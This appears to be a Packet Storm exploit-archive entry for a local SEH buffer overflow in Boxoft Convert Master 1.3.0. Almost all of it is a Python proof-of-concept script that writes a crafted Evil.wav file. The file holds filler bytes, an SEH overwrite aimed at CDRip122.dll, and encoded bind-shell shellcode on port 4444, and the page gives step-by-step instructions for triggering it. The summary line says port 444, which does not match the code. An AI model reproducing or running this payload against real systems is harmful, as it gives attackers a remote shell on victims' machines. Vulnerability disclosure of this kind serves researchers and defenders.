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Boxoft Convert Master 1.3.0 Local Buffer Overflow

🗓️ 20 Nov 2020 00:00:00Reported by AchillesType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 682 Views

Boxoft Convert Master 1.3.0 Local Buffer Overflow - 'wav' SEH Local Exploit. Vulnerable version: 1.3.0. Exploit open Boxoft_Convert_Master.exe, click "try" and Batch Convert Mode, then Add Evil.wav to have bind shell port 444

Code
`# Exploit Title: Boxoft Convert Master 1.3.0 - 'wav' SEH Local Exploit  
# Date: 17.09.2020  
# Vendor Homepage: http://www.boxoft.com/  
# Software Link: http://www.boxoft.com/convert-master/setup(boxoft-conver=t-master).exe  
# Exploit Author: Achilles  
# Tested Version: 1.3.0  
# Tested on: Windows 7 x64  
  
# 1.- Run python code :Boxoft_Convert_Master.py  
# 2.- Open Boxoft_Convert_Master.exe  
# 3.- Click try and Batch Convert Mode  
# 4.- Add Evil.wav  
# 5.- And you will have a bind shell port 4444  
# 6.- Greetings go:XiDreamzzXi,Metatron  
  
#!/usr/bin/env python  
  
import struct  
  
buffer = "\x41" * 4132  
nseh = "\xeb\x06\x90\x90" #jmp short 6  
seh = struct.pack('<L',0x6d00c683) #CDRip122.dll  
nops = "\x90" * 20  
#Bind=shellcode port 4444  
shellcode = ("\xda\xd5\xb8\x9b\x69\x4d\xa1\xd9\x74\x24\xf4\x5a\x33"   
"\xc9\xb1\x60\x83\xc2\x04\x31\x42\x15\x03\x42\x15\x79"  
"\x9c\xf2\x9b\x0c\xb0\x35\x05\x03\x97\x32\x91\x2f\x75"  
"\x92\x10\x7e\xdf\xd5\xdf\x95\x63\xd0\x24\x96\x1e\xca"  
"\xc6\x57\x4b\xd9\xe7\x3c\xe4\x1c\xa0\xd9\x7e\x72\xe4"  
"\x38\x26\xd1\x92\x88\x79\x63\x55\xe3\x94\xfe\x9a\xac"  
"\xb5\xde\xe4\x35\xbc\xd0\x9f\xe6\x92\x63\x51\x5a\xaf"  
"\xad\x1b\xb0\xf9\x6e\x46\xac\x68\xa9\x48\xce\xb8\xe1"  
"\xd2\xf5\x1a\x7d\x84\xde\xb9\x55\xa0\xe8\xe3\xd8\xb2"  
"\x31\xfb\x1a\x0b\xea\xed\xf4\x8f\xdd\xf5\x55\xbf\x1a"  
"\xa5\xe8\xd8\xfa\xde\x45\x11\x7c\x4d\xea\x87\x0f\x9f"  
"\xe5\xdf\x90\x18\x7e\x52\x1b\xd7\x24\x22\xab\x1b\xda"  
"\x31\xa2\x75\x8f\xa3\x13\x99\x20\x5e\x07\x57\x68\x3e"  
"\x10\xc7\xc2\xb0\x2b\xa0\x13\xd6\x6a\x3e\xc3\x1e\x99"  
"\x4f\xf0\xce\x63\x50\xe3\x90\x80\x3e\x0e\x9c\x39\x7e"  
"\x48\xe6\xf0\xe7\x3b\xd3\x7d\xe3\xa3\x62\x41\xee\x19"  
"\xd0\xa8\xc9\xdb\x02\x93\x0f\x34\xb0\xad\x81\x08\x57"  
"\xce\xb8\x38\xfe\x13\xc9\xe7\x40\xc2\x17\xa6\x3a\x4c"  
"\x06\x31\xfc\x3f\x8f\xcb\x85\x84\x74\x98\x9c\x63\xe5"  
"\x46\x2f\xfc\x15\x3b\x5c\x37\xd3\x36\xfc\x39\x3c\x86"  
"\x29\x32\xbb\xb3\x04\x13\x6a\xd1\xa7\x55\xac\x8e\xa8"  
"\x05\xaf\xc3\xae\x9d\xc6\x5f\xa8\x9d\x8e\x4a\x25\x3a"  
"\x35\xa3\xd7\x4c\xaa\xb1\x87\xca\x54\x6d\xdc\xb2\xf3"  
"\x3a\xaa\x29\xea\x44\x01\x4e\xb0\x08\x9a\xd0\xb5\x69"  
"\x42\xe5\xb4\x5f\x59\xff\xb4\x90\xe2\x97\x66\x09\x89"  
"\x87\x8e\xff\xa8\x21\x68\x3f\x01\xe9\xb3\x27\x63\xd2"  
"\x93\x2f\x4d\x9c\x28\x21\xd4\x9d\xad\x8f\x24\x19\xc9"  
"\x98\xbc\x24\x0b\x47\x84\x9c\x57\xd2\x20\x79\x71\x67"  
"\xe0\xd1\xcd\x40\x51\x7d\xe2\x39\xa9\xd2\x92\x4c\x24"  
"\x59\x7b\xfd\x89\x6e\xea\xec\xc8\xac\x54\x8a\x26\x60"  
"\x81\x38\x06\x32\xab\x56\x1c\xe7\xd0\x78\xe5\xa2\x75"  
"\xc8\x28\x1b\xd5\x3f\x51")  
payload = buffer + nseh + seh + nops + shellcode  
  
try:  
f=open("Evil.wav","w")  
print "[+] Creating %s bytes evil payload.." %len(payload)  
f.write(payload)  
f.close()  
print "[+] File created!"  
except:  
print "File cannot be created"  
  
`

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